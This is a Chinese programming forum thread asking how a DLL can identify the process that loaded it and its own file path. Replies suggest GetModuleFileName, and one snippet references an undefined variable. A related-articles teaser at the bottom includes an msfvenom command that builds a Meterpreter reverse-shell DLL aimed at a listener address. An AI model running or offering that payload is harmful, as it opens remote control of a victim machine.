社区
进程/线程/DLL
帖子详情
我是一个DLL,我怎么能知道谁加载了我?
Keyser
2008-11-07 12:40:01
能否在dll中侦测到加载这个dll的进程的信息?(比如完整进程名什么的)
如何获得dll自己的完整路径名?
...全文
143
6
打赏
收藏
我是一个DLL,我怎么能知道谁加载了我?
能否在dll中侦测到加载这个dll的进程的信息?(比如完整进程名什么的) 如何获得dll自己的完整路径名?
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
6 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
路人乙2019
2008-11-10
打赏
举报
回复
DllMain入口函数:
if (fdwReason == DLL_PROCESS_ATTACH)
TCHAR Path[256];
memset(Path,0,256);
::GetModuleFileName( NULL,Path,sizeof(aFbPath)) ;
rcbblgy
2008-11-07
打赏
举报
回复
mark
yayafu
2008-11-07
打赏
举报
回复
GetModuleFileName
yjgx007
2008-11-07
打赏
举报
回复
DllMain入口函数:
if (fdwReason == DLL_PROCESS_ATTACH)
GetProcessMemoryInfo(GetCurrentProcess())
Gavin001
2008-11-07
打赏
举报
回复
TCHAR Path[256];
memset(Path,0,256);
::GetModuleFileName( NULL,Path,sizeof(aFbPath)) ;
::GetModuleFileName( theApp.m_hInstance,Path,sizeof(Path))
Gavin001
2008-11-07
打赏
举报
回复
在dll内部调用GetModuleFileName函数
第一个参数传NULL时,获得当前EXE程序名称
第一个参数传m_hInstance,得到DLL本身路径
从资源
DLL
中选取图标的对话框
这是
一个
从资源
DLL
中选取图标的对话框
C# 动态
加载
卸载
DLL
我在写
一个
WPF 程序,发现可以通过 Assembly.Load
加载
DLL
,但是如何卸载
DLL
?下面就来说下如何卸载。 看到 Assembly.Load 是把
DLL
加载
到当前程序集,这句话,我就想到了我们的主程序集和当前的不同,那么可以...
使用xwizard命令
加载
dll
CATALOG前言实现第一步...首先使用msfvenom生成
一个
dll
文件。 msfvenom -p windows/x64/meterpreter/reverse_http LPORT=9090 LHOST=172.16.250.1 -f
dll
> xwizards.
dll
第二步:移动xwizard.exe 我是将c:\window
VS2017
DLL
动态库使用教程【六】动态
加载
DLL
什么是动态
加载
? 之前我们都是用的是自动
加载
,他是在exe运行启动时,就
加载
dll
。 动态
加载
,在编译的时候不指定
dll
,根据...首先我们对之前的
dll
文件做
一个
小改动,因为动态
加载
无需声明头文件(*.h),所以所以...
DLL
的两种
加载
方式——静态
加载
和动态
加载
案例简述 在某项目中,需要使用两个不同版本的HCNetSDK库,我们通常使用...动态
加载
:也称显示调用,指应用程序运行过程中程序自己完成对
DLL
的
加载
和卸载(
DLL
加载
—
DLL
函数地址获取—
DLL
释放),应用程序在执行过程...
进程/线程/DLL
15,471
社区成员
49,182
社区内容
发帖
与我相关
我的任务
进程/线程/DLL
VC/MFC 进程/线程/DLL
复制链接
扫一扫
分享
社区描述
VC/MFC 进程/线程/DLL
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章